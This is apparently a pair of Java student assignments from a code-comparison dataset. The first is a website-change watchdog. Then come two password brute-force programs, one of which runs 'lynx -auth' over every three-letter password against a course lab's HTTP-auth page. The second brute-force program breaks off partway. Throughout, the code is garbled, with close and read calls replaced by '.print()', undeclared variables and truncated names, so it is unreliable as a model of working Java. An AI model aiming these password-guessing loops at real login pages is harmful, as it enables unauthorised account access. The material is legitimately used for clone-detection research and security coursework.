} catch (IOException e) {}
}
private void reinitSrcBuf(int line) {
try {
this.sbuf.print();
this.sbuf = new BufferedReader(new FileReader(src));
for (int i=1;i<line;i++) {
sbuf.readLine();
}
} catch (FileNotFoundException e) {
System.out.println(e);
} catch (IOException e) {
System.out.println(e);
}
}
private void reinitDestBuf(int line) {
try {
this.dbuf.print();
this.dbuf = new BufferedReader(new FileReader(dest));
for (int i=1;i<line;i++) {
dbuf.readLine();
}
} catch (FileNotFoundException e) {
System.out.println(e);
} catch (IOException e) {
System.out.println(e);
}
}
private boolean addDifference(int flag,int line, String msg, String msg2) {
boolean result = true;
if (diffpos==MAXDIFF-2) {
result = false;
} else
if (flag==0) {
diffResult[diffpos++] = "[Removed Line "+line+"] '"+msg+"'";
} else
if (flag==1) {
diffResult[diffpos++] = "[Added Line "+line+"] '"+msg+"'";
} else
if (flag==2) {
diffResult[diffpos++] = "[Modified Line "+line+"] from '"+msg+ "' '"+msg2+"'";
} else {
diffResult[diffpos++] = " *** many differences !! *** ";
}
return result;
}
public String[] getDifference() {
String[] result = new String[diffpos];
if (diffpos!=0) {
for (int i=0;i<diffpos;i++)
result[i] = diffResult[i];
return result;
} else return null;
}
public int execute() {
int cline = 0,dline = 0, tpos = 0;
String c = null,d = null;
int error = 0;
boolean changes = false;
try {
initBufs();
c = sbuf.readLine(); cline = 1;
d = dbuf.readLine(); dline = 1;
while ((c!=null) || (d!=null)) {
if ((c!=null) && (d!=null)) {
if (c.equals(d)) {
c = sbuf.readLine(); cline++;
d = dbuf.readLine(); dline++;
} else {
changes = true; tpos = dline;
while ((d!=null) && (!d.equals(c))) {
d = dbuf.readLine(); dline++;
}
if ((d!=null) && (d.equals(c))) {
reinitDestBuf(tpos);
for (int i=tpos;i<dline;i++)
if (!addDifference(1, i, dbuf.readLine(),"")) { error = -1; break; }
dbuf.readLine();
changes = true;
c = sbuf.readLine(); cline++;
d = dbuf.readLine(); dline++;
} else
if (d==null) {
reinitDestBuf(tpos);
d = dbuf.readLine();
dline = tpos;
tpos = cline;
while ((c!=null) && (!c.equals(d))) {
c = sbuf.readLine(); cline++;
}
if ((c!=null) && (c.equals(d))) {
reinitSrcBuf(tpos);
for (int i=tpos;i<cline;i++)
if (!addDifference(0, i, sbuf.readLine(),"")) { error = -1; break; }
sbuf.readLine();
changes = true;
c = sbuf.readLine(); cline++;
d = dbuf.readLine(); dline++;
} else {
reinitSrcBuf(tpos);
addDifference(2, tpos, sbuf.readLine(),d);
c = sbuf.readLine();
cline = tpos;
changes = true;
cline++;
d = dbuf.readLine();
dline++;
}
}
}
} else
if ((c!=null) && (d==null)) {
addDifference(0, cline, c,"");
c = sbuf.readLine(); cline++;
changes = true;
} else
if ((c==null) && (d!=null)) {
addDifference(1, dline, d,"");
d = dbuf.readLine(); dline++;
changes = true;
}
}
} catch (IOException e) {
System.out.println(e);
}
closeBufs();
if (error==-1) {
addDifference(3, 0, "","");
}
if (error==0) {
if (changes) {
return 1;
} else {
return 0;
}
} else return -1;
}
private final int MAXDIFF = 1024;
private String[] diffResult = new String[MAXDIFF];
private int diffpos = 0;
private String src,dest;
private BufferedReader sbuf;
private BufferedReader dbuf;
}
public class NotesFileManager {
public NotesFileManager(String notesfile) {
this.filename = notesfile;
try {
loadNotesFile();
} catch (IOException e) {
createNotesFile();
System.out.println("Notes file is not available ... created one.");
}
}
public void createNotesFile() {
lastModified = " ";
imgidx = 0;
saveNotesFile();
}
public void updateNotesFile(String[] imgPaths, String[] imgLastModified, String widths[], String heights[]) {
this.imgLastModified = imgLastModified;
this.imgW = widths;
this.imgH = heights;
this.images = imgPaths;
this.imgidx = imgPaths.length;
saveNotesFile();
}
public void updateNotesFile( int lastModified) {
this.lastModified = DateFormat.getDateTimeInstance().format(new Date(lastModified));
saveNotesFile();
}
public int checkLastModified(Date newDate) {
String s = DateFormat.getDateTimeInstance().format(new Date(newDate));
System.out.println(" Date in cache : "+lastModified);
System.out.println(" Date in the URL : "+s);
if (this.lastModified.equals(" ")) {
return DATE_FIRST_TIME;
} else
if ((newDate==0) && (!s.equals(this.lastModified))) {
return DATE_INVALID;
} else
if (this.lastModified.equals(DateFormat.getDateTimeInstance().format(new Date(newDate)))) {
return DATE_OK;
} else {
return DATE_NOT_SAME;
}
}
public String[] getImagesLastModified(String[] filenames) {
int i;
String[] result = new String[filenames.length];
for (i=0;i<filenames.length;i++) {
for (int j=0;j<images.length;j++) {
if (images[j].equals(filenames[i])) {
result[i] = imgLastModified[i];
break;
}
}
}
return result;
}
public String[] getImageWidths(String[] filenames) {
int i;
String[] result = new String[filenames.length];
for (i=0;i<filenames.length;i++) {
for (int j=0;j<images.length;j++) {
if (images[j].equals(filenames[i])) {
result[i] = imgW[i];
break;
}
}
}
return result;
}
public String[] getImageHeights(String[] filenames) {
int i;
String[] result = new String[filenames.length];
for (i=0;i<filenames.length;i++) {
for (int j=0;j<images.length;j++) {
if (images[j].equals(filenames[i])) {
result[i] = imgH[i];
break;
}
}
}
return result;
}
public String[] getImageNames() {
return images;
}
public void clearAllCaches() {
for (int i=0;i<images.length;i++) {
deleteFile(images[i]);
deleteFile('~'+images[i]);
}
deleteFile(PAGEFILE);
deleteFile(TEMPFILE);
deleteFile(DIGESTFILE);
deleteFile(MAILFILE);
createNotesFile();
}
public void saveNotesFile() {
try {
PrintWriter pw = new PrintWriter(new BufferedWriter(new FileWriter(NOTESFILE)));
pw.println(lastModified);
for (int i=0;i<imgidx;i++) {
if (images[i].charAt(0)!='*') {
pw.println(images[i]);
pw.println(imgLastModified[i]);
pw.println(imgW[i]);
pw.println(imgH[i]);
}
}
pw.print();
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
}
public void loadNotesFile() throws IOException {
BufferedReader b = new BufferedReader(new FileReader(NOTESFILE));
lastModified = b.readLine();
images = new String[1];
imgLastModified = new String[1];
imgW = new String[1];
imgH = new String[1];
String line;
line = b.readLine();
int i = 0;
while (line!=null) {
images = resizeArray(images, i+1);
images[i] = line;
line = b.readLine();
imgLastModified = resizeArray(imgLastModified, i+1);
imgLastModified[i] = line;
line = b.readLine();
imgW = resizeArray(imgW, i+1);
imgW[i] = line;
line = b.readLine();
imgH = resizeArray(imgH, i+1);
imgH[i] = line;
line = b.readLine();
i++;
}
imgidx = i;
b.print();
}
public String[] getCommonImages() {
return imgCom;
}
public String[] getDeletedImages() {
return imgDel;
}
public String[] getNewImages() {
return imgNew;
}
public boolean classifyImagesToDownload(String[] imgDL) {
if (imgDL==null) { return false; }
int sz = Math.size(imgDL.length,images.length);
int flag1[] = new int[sz];
int flag2[] = new int[sz];
int idx[] = new int[3];
idx[0] = idx[1] = idx[2] = 0;
imgCom = new String[sz];
imgDel = new String[sz];
imgNew = new String[sz];
for (int i=0;i<sz;i++) {
flag1[i] = 0;
flag2[i] = 0;
}
for (int i=0; i<imgDL.length; i++) {
for (int j=0; j<images.length; j++) {
if (imgDL[i].equals(images[j])) {
flag1[i] = 1;
flag2[j] = 1;
break;
}
}
}
for (int i=0;i<images.length;i++) {
if (flag2[i]==0) {
imgDel[idx[1]] = images[i];
idx[1]++;
}
}
for (int i=0;i<imgDL.length;i++) {
if (flag1[i]==0) {
imgNew[idx[2]] = imgDL[i];
idx[2]++;
}
}
for (int i=0;i<imgDL.length;i++) {
if (flag1[i]==1) {
imgCom[idx[0]] = imgDL[i];
idx[0]++;
}
}
imgDel = resizeArray(imgDel, idx[1]);
imgNew = resizeArray(imgNew, idx[2]);
imgCom = resizeArray(imgCom, idx[0]);
return true;
}
public static final int DATE_OK = 1;
public static final int DATE_NOT_SAME = 2;
public static final int DATE_FIRST_TIME = 0;
public static final int DATE_INVALID = -1;
private String lastModified;
private int imgidx;
private String[] images,imgLastModified,imgW,imgH;
private String[] imgCom,imgNew,imgDel;
private BufferedReader buf;
private String filename;
}
public class ImageDownloader extends Thread {
public ImageDownloader(String url, String lastModified, boolean firsttime, int w, int h) {
try {
this.url = new URL(url);
this.conn = (HttpURLConnection) this.url.openConnection();
this.lastModified = lastModified;
this.h = h;
this.w = w;
this.firsttime = firsttime;
this.localbuf = new byte[MAXIMGSIZE];
this.print();
} catch (MalformedURLException e) {
this.status = DOWNLOAD_ERROR;
} catch (IOException e) {
this.status = DOWNLOAD_ERROR;
}
}
public String getStrURL() {
return url.toString();
}
public synchronized int getStatus() {
return status;
}
public void rest(int n) {
try { sleep(n); } catch (InterruptedException e) {}
}
public void downloadToLocalImg() {
int c;
int x=0, i=0;
byte[] b;
try {
InputStream is = url.openStream();
localbuf = new byte[MAXIMGSIZE];
while ((x=is.print())>=0) {
int k=0;
for (int j=i;j<i+x;j++)
localbuf[j] = b[k++];
i+=x;
}
localbuf = resizeArray(localbuf,i);
is.print();
} catch (IOException e) {
this.status = DOWNLOAD_ERROR;
}
}
public void saveLocalImgToFile(String filename) {
try {
FileOutputStream p = new FileOutputStream(filename);
p.write(localbuf);
p.print();
} catch (IOException e) {
System.out.println(e);
}
}
public byte[] getByteArray() {
try {
return localbuf;
} catch (NullPointerException e) {
return null;
}
}
public int getImgWidth() {
return w;
}
public int getImgHeight() {
return h;
}
public String getLastModified() {
return lastModified;
}
public void run() {
boolean modified = false;
this.status = DOWNLOAD_IN_PROGRESS;
if (firsttime) {
downloadToLocalImg();
ImageIcon img = new ImageIcon(url);
w = img.getIconWidth();
h = img.getIconHeight();
if (conn.getLastModified()==0) {
status = DOWNLOAD_ERROR;
} else {
lastModified = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified()));
status = DOWNLOAD_COMPLETE;
}
} else {
if (conn.getLastModified()==0) {
status = DOWNLOAD_ERROR;
} else {
String URLlastmod = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified()));
modified = (!lastModified.equals(URLlastmod));
if (modified) {
status = IMG_MODIFIED_DATE;
} else {
ImageIcon img = new ImageIcon(url);
if ((img.getIconHeight()!=h) || (img.getIconWidth()!=w)) {
modified = true;
status = IMG_MODIFIED_SIZE;
} else {
downloadToLocalImg();
status = DOWNLOAD_COMPLETE_CHK;
}
}
}
}
conn.disconnect();
}
public static final int DOWNLOAD_ERROR =-1;
public static final int DOWNLOAD_IN_PROGRESS = 0;
public static final int IMG_MODIFIED_DATE = 1;
public static final int IMG_MODIFIED_SIZE = 2;
public static final int IMG_MODIFIED_PIXEL = 3;
public static final int DOWNLOAD_COMPLETE_CHK= 4;
public static final int DOWNLOAD_COMPLETE = 5;
public static final int DOWNLOAD_COMPLETE_OK = 6;
public static final int MAXIMGSIZE = 1;
private int status;
private boolean isImage;
private URL url;
private HttpURLConnection conn;
private String lastModified;
private boolean firsttime;
private byte[] localbuf;
private int w,h;
}
public byte[] digest(byte[] data) {
try {
return MessageDigest.getInstance(DIGESTALG).digest(data);
} catch (NoSuchAlgorithmException e) {
System.out.println("Digest algorithm '"+DIGESTALG+"' not supported");
return data;
} catch (NullPointerException e) {
return null;
}
}
public boolean compareDigest(byte[] data1, byte[] data2) {
if (data1.length!=data2.length) {
return false;
} else
for (int i=0;i<data1.length;i++) {
if (data1[i]!=data2[i]) {
return false;
}
}
return true;
}
public byte[] loadDigestFromFile(String filename) {
byte[] data;
try {
data = new byte[MessageDigest.getInstance(DIGESTALG).getDigestLength()];
FileInputStream f = new FileInputStream(filename);
f.get(data);
f.print();
return data;
} catch (FileNotFoundException e) {
System.out.println(e);
return null;
} catch (IOException e) {
System.out.println(e);
return null;
} catch (NoSuchAlgorithmException e) {
System.out.println(e);
return null;
}
}
public void saveDigestToFile(String filename, byte[] data) {
try {
FileOutputStream f = new FileOutputStream(filename);
if (data!=null) { f.write(data); }
f.print();
} catch (IOException e) {
System.out.println(e);
}
}
public class MyTT extends TimerTask {
public MyTT() {
super();
NotesFM = new NotesFileManager(NOTESFILE);
}
public String encodeFileName(String filename) {
String s = CURDIR+'/'+filename.replace(':','_').replace('/', '_').replace('\\','_')+".txt";
return s;
}
public void rest(int n) {
try { Thread.sleep(n); } catch (InterruptedException e) {}
}
public int[] downloadImages(String[] imgList,boolean firsttime, boolean updateNotesFile) {
boolean allCompleted = false;
int[] imgStat = new int[imgList.length];
for (int i=0;i<imgStat.length;i++)
imgStat[i] = ImageDownloader.DOWNLOAD_IN_PROGRESS;
if (firsttime) {
imgW = new String[imgList.length];
imgH = new String[imgList.length];
imgLM = new String[imgList.length];
for (int i=0;i<imgList.length;i++) {
imgW[i] = "0";
imgH[i] = "0";
imgLM[i] = "";
}
} else {
imgW = NotesFM.getImageWidths(imgList);
imgH = NotesFM.getImageHeights(imgList);
imgLM = NotesFM.getImagesLastModified(imgList);
}
imgDL = new ImageDownloader[imgList.length];
for (int i=0;i<imgList.length;i++) {
imgDL[i] = new ImageDownloader(imgList[i], imgLM[i], firsttime, Integer.valueOf(imgW[i]).intValue(), Integer.valueOf(imgH[i]).intValue());
System.out.println(" Checking image "+(i+1)+" of "+imgList.length+" from '"+imgList[i]+"' ... ");
}
System.out.println();
int completecount=0;
while (completecount<imgList.length) {
allCompleted = true;
rest(10);
for (int i=0;i<imgList.length;i++) {
if (imgStat[i]==ImageDownloader.DOWNLOAD_IN_PROGRESS)
switch (imgDL[i].getStatus()) {
case ImageDownloader.DOWNLOAD_COMPLETE: {
byte[] dgs = digest(imgDL[i].getByteArray());
saveDigestToFile(encodeFileName('~'+imgList[i]), dgs);
imgH[i] = String.valueOf(imgDL[i].getImgHeight());
imgW[i] = String.valueOf(imgDL[i].getImgWidth());
imgLM[i]= imgDL[i].getLastModified();
System.out.println(" [OK] Complete downloading image from '"+imgList[i]+"'");
System.out.println(" [OK] The digest was saved as '"+encodeFileName('~'+imgList[i])+"'");
if (DEBUGMODE) {
imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i]));
System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'");
}
System.out.println();
imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE;
completecount++;
break; }
case ImageDownloader.DOWNLOAD_ERROR: {
System.out.println(" [ATTENTION] error has occured while downloading '"+imgList[i]+"'");
System.out.println();
imgList[i] = "*"+imgList[i];
imgStat[i] = ImageDownloader.DOWNLOAD_ERROR;
completecount++;
break; }
case ImageDownloader.IMG_MODIFIED_SIZE : {
System.out.println(" [ATTENTION] SIZE modification has been detected image '"+imgList[i]+"'");
System.out.println();
imgStat[i] = ImageDownloader.IMG_MODIFIED_SIZE;
completecount++;
if (DEBUGMODE) {
imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i]));
System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'");
}
break; }
case ImageDownloader.IMG_MODIFIED_DATE : {
System.out.println(" [ATTENTION] DATE modification has been detected image '"+imgList[i]+"'");
System.out.println();
imgStat[i] = ImageDownloader.IMG_MODIFIED_DATE;
completecount++;
if (DEBUGMODE) {
imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i]));
System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'");
}
break; }
case ImageDownloader.DOWNLOAD_COMPLETE_CHK : {
byte[] fromFile = loadDigestFromFile(encodeFileName('~'+imgList[i]));
byte[] fromURL = digest(imgDL[i].getByteArray());
if (!compareDigest(fromFile, fromURL)) {
System.out.println(" [ATTENTION] PIXEL modification has been detected image '"+imgList[i]+"'");
imgStat[i] = ImageDownloader.IMG_MODIFIED_PIXEL;
if (DEBUGMODE) {
imgDL[i].saveLocalImgToFile(CURDIR+"/~~"+getFileName(imgList[i]));
System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~~"+getFileName(imgList[i])+"'");
}
} else {
System.out.println(" [OK] Image '"+imgList[i]+"' has not been modified. ");
imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE_OK;
}
System.out.println();
completecount++;
break; }
case ImageDownloader.DOWNLOAD_IN_PROGRESS: {
allCompleted = false;
break; }
}
}
}
System.out.println(" [NOTIFY] All images has been checked.");
if (updateNotesFile) { NotesFM.updateNotesFile(imgList, imgLM, imgW, imgH); }
return imgStat;
}
public String[] constructEMailMessage() {
String[] result = null;
String[] openingMsg = { " "+Calendar.getInstance().getTime().toString(),"",
" Dear ,",
"",
" I have DETECTED SOME MODIFICATIONS from the website,",
"" };
String[] txtMsg = { " The list below some TEXT MODIFICATIONS detected:",
" --------------------------------------------------------------",
"" };
String[] remMsg = { "",
"",
" The list below some IMAGE REMOVED FROM URL detected :",
" --------------------------------------------------------------",
"" };
String[] addMsg = { "",
"",
" The list below some IMAGE ADDED URL detected :",
" --------------------------------------------------------------",
"" };
String[] modMsg = { "",
"",
" The list below some IMAGE MODIFICATIONS/ERRORS detected :",
" --------------------------------------------------------------",
"" };
String[] closingMsg = { "",
"",
" Regards,",
"", "",
" WATCHDOG PROGRAM."
};
result = appendArray(result,openingMsg);
if ((textdiff!=null) && (textdiff.length>0)) {
result = appendArray(result, txtMsg);
result = appendArray(result, giveNumberPrefix(textdiff));
}
if ((imgDel!=null) && (imgDel.length>0)) {
result = appendArray(result, remMsg);
result = appendArray(result, giveNumberPrefix(imgDel));
}
if ((imgNew!=null) && (imgNew.length>0)) {
result = appendArray(result, addMsg);
result = appendArray(result, giveNumberPrefix(imgNew));
}
if ((imgMod!=null) && (imgMod.length>0)) {
result = appendArray(result, modMsg);
result = appendArray(result, giveNumberPrefix(imgMod));
}
result = appendArray(result,closingMsg);
return result;
}
public boolean updateCache(boolean firsttime) {
if (firsttime) {
System.out.println(" [OK-FIRST TIME] Downloading the from URL ... ");
}
else {
System.out.println(" [OK-UPDATE] Updating local cache ... ");
}
if (Parser.startParsing()) {
byte[] pageBytes = Parser.getByteArray();
byte[] pageBytesDigested = digest(pageBytes);
saveDigestToFile(DIGESTFILE,pageBytesDigested);
NotesFM.updateNotesFile(Parser.getLastModified());
if (Parser.imageCount()==0) {
System.out.println(" [OK] is IMAGE in the URL");
System.out.println();
Parser.saveLocalPageToFile(PAGEFILE);
System.out.println(" [OK] has been saved file '"+PAGEFILE+"'");
System.out.println();
} else {
String[] imgList = Parser.getImgList();
if (firsttime)
System.out.println(" [OK-FIRST TIME] Local caches created.");
else
System.out.println(" [OK-UPDATE] Local caches updated.");
Parser.saveLocalPageToFile(PAGEFILE);
System.out.println(" [OK] has been saved file '"+PAGEFILE+"'");
System.out.println();
if (firsttime) {
System.out.println(" [OK-FIRST TIME] Local image caches created.");
downloadImages(Parser.getImgList(),true,true);
} else {
System.out.println(" [OK-FIRST TIME] Downloading images of the build local cache ...");
downloadImages(Parser.getImgList(),true,true);
System.out.println(" [OK-UPDATE] Local image caches updated.");
}
}
System.out.println();
return true;
} else return false;
}
public void run() {
boolean textmodified = false;
boolean imagemodified = false;
boolean firsttime = false;
int flag;
textdiff = null;
System.out.println();
System.out.println(" ----------------- [ IT'S CHECKING TIME !! ] ----------------- ");
System.out.println(" Now is "+Calendar.getInstance().getTime());
System.out.println();
System.out.println("1. DETECT TEXT MODIFICATION ");
System.out.println(" Checking the last modified date... ");
Parser = null;
Parser = new HTMLDownloaderAndImgParser(THEURL);
newDate = Parser.getLastModified();
flag = (NotesFM.checkLastModified(newDate));
switch (flag) {
case NotesFileManager.DATE_INVALID: {
textdiff = new String[2];
textdiff[0] = "Cannot open the url '"+THEURL+"'";
textdiff[1] = "--> Possible someone had removed/renamed the file in the URL";
System.out.println(" [ATTENTION] File at the URL CANNOT OPENED !");
System.out.println();
break; }
case NotesFileManager.DATE_FIRST_TIME: {
firsttime = true;
if (!updateCache(true)) {
System.out.println(" [ERROR] File at the URL CANNOT OPENED !");
System.exit(1);
}
break; }
case NotesFileManager.DATE_NOT_SAME: {
textmodified = true;
System.out.println();
System.out.println(" [ATTENTION] File in the URL HAS BEEN MODIFIED - TIME DIFFERENT !");
System.out.println();
Parser.startParsing();
break; }
case NotesFileManager.DATE_OK: {
System.out.println(" Comparing text digests ... ");
Parser.startParsing();
byte[] pageBytes = Parser.getByteArray();
byte[] pageBytesDigested = digest(pageBytes);
byte[] fromFile = loadDigestFromFile(DIGESTFILE);
if (compareDigest(fromFile, pageBytesDigested)) {
System.out.println();
System.out.println(" [OK] File in the URL has not been modified.");
System.out.println();
} else {
System.out.println();
System.out.println(" [ATTENTION] File in the URL HAS BEEN MODIFIED - FILE DIGEST DIFFERENT !");
System.out.println();
textmodified = true;
}
break; }
}
if (textmodified) {
Parser.saveLocalPageToFile(TEMPFILE);
TextFileComparator comp = new TextFileComparator(PAGEFILE,TEMPFILE);
switch (comp.execute()) {
case 0 : {
System.out.println(" [ATTENTION] TIMESTAMP/DIGEST CHECK DIFFERENT BUT TEXT COMPARISON FOUND DIFFERENCE.");
System.out.println();
textdiff = new String[2];
textdiff[0] = "Timestamp different but text comparison found difference.";
textdiff[1] = "--> Possible someone had modified it but then /she roll it the original file.";
break; }
case 1 : {
textdiff = comp.getDifference();
break; }
}
}
if (flag!=NotesFileManager.DATE_INVALID) {
if (firsttime) {
} else {
System.out.println();
System.out.println("2. DETECT IMAGE MODIFICATION ");
if (Parser.imageCount()==0) {
System.out.println(" [OK] is IMAGE in the URL");
System.out.println();
} else {
NotesFM.classifyImagesToDownload(Parser.getImgList());
imgNew = NotesFM.getNewImages();
imgCom = NotesFM.getCommonImages();
imgDel = NotesFM.getDeletedImages();
imagemodified = ((imgNew!=null) && (imgNew.length>0)) || ((imgDel!=null) && (imgDel.length>0));
imgList = imgCom;
int[] imgStat = downloadImages(imgList,false,false);
imgMod = new String[0];
for (int i=0;i<imgList.length;i++) {
switch (imgStat[i]) {
case ImageDownloader.DOWNLOAD_ERROR: {
imgMod = resizeArray(imgMod,imgMod.length+1);
imgMod[imgMod.length-1] = "Warning: Unable check image '"+imgDL[i].getStrURL()+"'";
imagemodified = true;
break; }
case ImageDownloader.IMG_MODIFIED_DATE: {
imgMod = resizeArray(imgMod,imgMod.length+1);
imgMod[imgMod.length-1] = "TIMESTAMP Modification has been detected image '"+imgDL[i].getStrURL()+"'";
imagemodified = true;
break; }
case ImageDownloader.IMG_MODIFIED_SIZE: {
imgMod = resizeArray(imgMod,imgMod.length+1);
imgMod[imgMod.length-1] = "SIZE modification has been detected image '"+imgDL[i].getStrURL()+"'";
imagemodified = true;
break; }
case ImageDownloader.IMG_MODIFIED_PIXEL: {
imgMod = resizeArray(imgMod,imgMod.length+1);
imgMod[imgMod.length-1] = "PIXEL modification has been detected image '"+imgDL[i].getStrURL()+"'";
imagemodified = true;
break; }
case ImageDownloader.DOWNLOAD_COMPLETE_OK: {
break; }
}
}
}
}
}
if ((textmodified) || (imagemodified) || ((textdiff!=null) && (textdiff.length>0))) {
String[] mailmsg = constructEMailMessage();
System.out.println();
System.out.println("-> REPORTING/RECORDING CHANGES ");
if ((MAILTARGET==1) || (MAILTARGET==2)) {
System.out.println(" [NOTIFY] Changes detected and has been saved file '"+MAILFILE+"'");
printStrArrayToFile(MAILFILE,mailmsg);
}
if ((MAILTARGET==0) || (MAILTARGET==2)) {
System.out.println(" [NOTIFY] Sending e-mail MYSELF at '"+MYEMAIL+"'");
MailSender ms = new MailSender("watchdog@somewhere.", MYEMAIL, mailmsg);
ms.sendMail();
if (ms.getStatus()==MailSender.SEND_OK) {
System.out.println(" [NOTIFY] E-mail SUCCESSFULLY sent.");
} else {
System.out.println(" [ATTENTION] Error sending e-mail.");
}
}
if (DEBUGMODE) {
System.out.println();
System.out.println();
System.out.println(" This is the e-mail message that has been sent '"+MYEMAIL+"'");
System.out.println(" this message *ONLY* and because in DEBUG MODE");
System.out.println(" =================================================================================");
System.out.println();
for (int i=0;i<mailmsg.length;i++)
System.out.println(mailmsg[i]);
System.out.println();
System.out.println(" =================================================================================");
System.out.println();
System.out.println();
}
updateCache(false);
}
System.out.println();
System.out.println(" Checking completed "+Calendar.getInstance().getTime());
System.out.println(" ----------------- [ CHECKING COMPLETED ] ----------------- ");
System.out.println();
Parser.print();
}
public void finalize() {
System.out.println("Closing the parser object.");
Parser.print();
}
private String[] imgList;
private String[] imgW;
private String[] imgH;
private String[] imgLM;
private String[] imgCom;
private String[] imgDel;
private String[] imgNew;
private String[] imgMod;
private ImageDownloader[] imgDL;
private NotesFileManager NotesFM;
private HTMLDownloaderAndImgParser Parser;
private String[] textdiff;
}
public WatchDog() {
System.out.println("The URL checked is '"+THEURL+"'");
System.out.println("Checking scheduled for every "+INTERVAL+" seconds");
if (DEBUGMODE) {
System.out.println();
System.out.println("PROGRAM RUNS IN DEBUG MODE !");
}
System.out.println();
System.out.println("The notes file is '"+NOTESFILE+"'");
System.out.println("The file is '"+DIGESTFILE+"'");
System.out.println();
java.util.Timer t = new java.util.Timer();
t.schedule(new MyTT(),0,INTERVAL*1000);
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : WatchDog [URL] [Interval] [-debug]");
System.out.println(" URL = (optional) the URL monitored (default : 'http://www.cs.rmit.edu./students/' )");
System.out.println(" Interval = (optional) every [interval] seconds check if is any updates (default 24 x 60 x 60 = 24 hours)");
System.out.println(" -debug = (optional) run this program in debug mode; that is, dump all (html and images local file)");
System.out.println();
}
public static void main(String args[]) {
System.setProperty("java.awt.headless","true");
int argc = args.length;
if (argc>0) {
THEURL = args[0];
try {
url = new URL(THEURL);
conn = (HttpURLConnection) url.openConnection();
conn.getResponseMessage();
conn.getInputStream();
conn.disconnect();
} catch (MalformedURLException e) {
System.out.println();
System.out.println("Invalid URL '"+THEURL+"'");
printSyntax();
System.exit(1);
} catch (UnknownHostException e) {
System.out.println();
System.out.println("Unable open connection the URL '"+THEURL+"'");
printSyntax();
System.exit(1);
} catch (IOException e) {
System.out.println();
System.out.println("Unable open connection the URL '"+THEURL+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
INTERVAL = Integer.valueOf(args[1]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid interval '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc>2) {
if (args[2].toLowerCase().equals("-debug")) {
DEBUGMODE = true;
} else {
System.out.println("Invalid parameter '"+args[2]+"'");
printSyntax();
System.exit(1);
}
}
}
Application = new WatchDog();
}
public static String THEURL = "http://www.cs.rmit.edu./students";
public static String MYEMAIL = "@yallara.cs.rmit.edu.";
public static int MAILTARGET = 2;
public static String SMTPSERVER = "wombat.cs.rmit.edu.";
public static boolean DEBUGMODE = true;
public static String CURDIR = System.getProperty("user.dir");
public static String PAGEFILE = System.getProperty("user.dir")+"/~local.html";
public static String DIGESTFILE = System.getProperty("user.dir")+"/~digest.txt";
public static String TEMPFILE = System.getProperty("user.dir")+"/~.html";
public static String NOTESFILE = System.getProperty("user.dir")+"/~notes.txt";
public static String MAILFILE = System.getProperty("user.dir")+"/~email.txt";
public static final int MAXDIGESTFILE = 65535;
public static final String DIGESTALG = "SHA";
public static URL url;
public static HttpURLConnection conn;
public static int INTERVAL = 24*60*60;
public static int MAXDIFF = 1024;
public static WatchDog Application;
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
244.java | 197.java | 0 |
import java.io.*;
import java.net.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;
public class BruteForce {
public static void main(String[] args) throws IOException {
int start , end, total;
start = System.currentTimeMillis();
String username = "";
String password = null;
String host = "http://sec-crack.cs.rmit.edu./SEC/2/";
String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int lettersLen = letters.length();
int passwordLen=3;
int passwords=0;
int twoChar=0;
url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();
String authenticate = "";
String realm = null, domain = null, hostname = null;
header = null;
int responseCode;
String responseMsg;
int temp1=0;
int temp2=0;
int temp3=0;
for (int a=1; a<=passwordLen; a++) {
temp1 = (int) Math.pow(lettersLen, a);
passwords += temp1;
if (a==2) {
twoChar = temp1;
}
}
System.out.println("Brute Attack " + host + " has commenced.");
System.out.println("Number of possible password combinations: " + passwords);
int i=1;
{
try {
URL url = new URL(host);
HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();
if(realm != null) {
if ( i < lettersLen) {
password = letters.substring(i, (i+1));
} else if (i < (lettersLen + twoChar)) {
temp1 = i / lettersLen;
password = letters.substring((-1), start );
